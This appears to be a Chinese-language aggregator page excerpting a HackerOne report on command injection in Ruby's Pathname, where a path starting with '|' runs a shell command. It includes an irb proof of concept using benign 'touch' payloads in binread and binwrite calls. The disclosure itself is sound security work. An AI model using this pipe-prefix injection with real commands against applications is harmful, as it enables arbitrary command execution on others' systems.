Command injection in Pathname
该报告还没有中文解读。
原文摘录
摘自原文(1047 字符中的一小部分)
The command may be executed when the value passed to Pathname is the first character of "|". This is the same problem as https://bugs.ruby-lang.org/issues/14245, but here it is executed without warning.
原文中的代码
$ ruby -v
ruby 2.5.3p105 (2018-10-18 revision 65156) [x86_64-darwin16]
$ irb
irb(main):001:0> `ls`
=> ""
irb(main):002:0> require 'pathname'
=> true
irb(main):003:0> Pathname("|touch binread").binread
=> ""
irb(main):004:0> Pathname("|touch binwrite").binwrite("")
=> 0
irb(main):005:0> …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Ruby 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ooooooo_q · 版权归作者与 Ruby 所有